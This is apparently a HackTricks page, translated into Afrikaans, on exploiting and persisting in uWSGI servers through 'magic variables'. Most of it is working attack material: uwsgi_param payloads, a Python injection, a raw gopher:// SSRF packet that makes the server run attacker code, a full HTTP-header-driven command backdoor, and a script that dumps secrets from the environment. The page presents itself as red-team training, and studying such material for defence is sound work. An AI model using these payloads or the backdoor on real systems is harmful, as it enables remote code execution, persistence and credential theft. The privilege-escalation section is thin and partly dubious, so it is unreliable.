WSGI Post-Exploitation Tricks

Reading time: 5 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

WSGI Oorsig

Web Server Gateway Interface (WSGI) is 'n spesifikasie wat beskryf hoe 'n webbediener met webtoepassings kommunikeer, en hoe webtoepassings aan mekaar gekoppel kan word om 'n versoek te verwerk. uWSGI is een van die gewildste WSGI-bedieners en word gereeld gebruik om Python-webtoepassings te bedien.

uWSGI Magic Variables Exploitation

uWSGI verskaf spesiale "magic variables" wat gebruik kan word om die bediener se gedrag dinamies te konfigureer. Hierdie variables kan deur HTTP headers gestel word en kan tot ernstige sekuriteitskwesbaarhede lei as dit nie behoorlik gevalideer word nie.

Key Exploitable Variables

UWSGI_FILE - Arbitrary File Execution

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Hierdie veranderlike laat toe om willekeurige Python-lêers as WSGI-toepassings te laai en uit te voer. As 'n attacker hierdie parameter kan beheer, kan hulle Remote Code Execution (RCE) bereik.

UWSGI_SCRIPT - Skriplading

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Laai 'n gespesifiseerde skrip as 'n nuwe toepassing. In kombinasie met lêeroplaai of skryfvermoëns, kan dit tot RCE lei.

UWSGI_MODULE en UWSGI_CALLABLE - Dynamic Module Loading

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Hierdie parameters laat toe om enige Python-modules te laai en spesifieke funksies daarin aan te roep.

UWSGI_SETENV - Manipulasie van Omgewingsveranderlikes

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Kan gebruik word om omgewingsveranderlikes te wysig, wat moontlik die toepassing se gedrag beïnvloed of kwaadwillige konfigurasie laai.

UWSGI_PYHOME - Python Omgewingsmanipulasie

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Verander die Python virtual environment, wat moontlik skadelike pakkette of ander Python-interpreters kan laai.

UWSGI_CHDIR - Directory Traversal

uwsgi_param UWSGI_CHDIR /etc/;

Verander die werkende gids voordat versoeke verwerk word, wat gebruik kan word vir path traversal-aanvalle.

SSRF + Gopher na

Die Aanvalsvektor

Wanneer uWSGI via SSRF (Server-Side Request Forgery) toeganklik is, kan aanvallers met die interne uWSGI socket interaksie hê om magic variables uit te buit. Dit is veral gevaarlik wanneer:

  1. Die toepassing het SSRF kwesbaarhede
  2. uWSGI loop op 'n interne poort/socket
  3. Die toepassing valideer nie magic variables behoorlik nie

uWSGI is toeganklik as gevolg van SSRF omdat die konfigurasielêer uwsgi.ini die volgende bevat: socket = 127.0.0.1:5000, wat dit vanaf die webtoepassing deur SSRF toeganklik maak.

Uitbuitingsvoorbeeld

Stap 1: Skep kwaadwillige payload

Eerstens, injecteer Python-kode in 'n lêer wat deur die bediener toeganklik is (lêer skryf binne die bediener, die uitbreiding van die lêer maak nie saak nie):

python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")

Stap 2: Skep 'n uWSGI-protokolversoek

Gebruik die Gopher-protokol om rou uWSGI-pakkette te stuur:

gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

Hierdie payload:

  • Verbind met uWSGI op poort 5000
  • Stel UWSGI_FILE in om na die kwaadwillige lêer te wys
  • Dwing uWSGI om die Python-kode te laai en uit te voer

uWSGI Protokolstruktuur

Die uWSGI-protokol gebruik 'n binêre formaat waar:

  • Veranderlikes word gekodeer as stringe met 'n lengtevoorvoegsel
  • Elke veranderlike het: [name_length][name][value_length][value]
  • Die pakket begin met 'n header wat die totale grootte bevat

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

python
# backdoor.py
import subprocess
import base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"

start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Gebruik dan UWSGI_FILE om hierdie backdoor te laai:

uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;

Omgewingsgebaseerde persistensie

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;

2. Inligtingsvrystelling

Uitlees van omgewingsveranderlikes

python
# env_dump.py
import os
import json

def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}

start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

Lêerstelseltoegang

Gebruik UWSGI_CHDIR in kombinasie met lêerdiens om toegang tot sensitiewe lêers te kry:

uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;

3. Privilege Escalation

Socket Manipulation

As uWSGI met elevated privileges loop, attackers kan socket permissions manipuleer:

uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;

Konfigurasie Oorskrywing

python
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks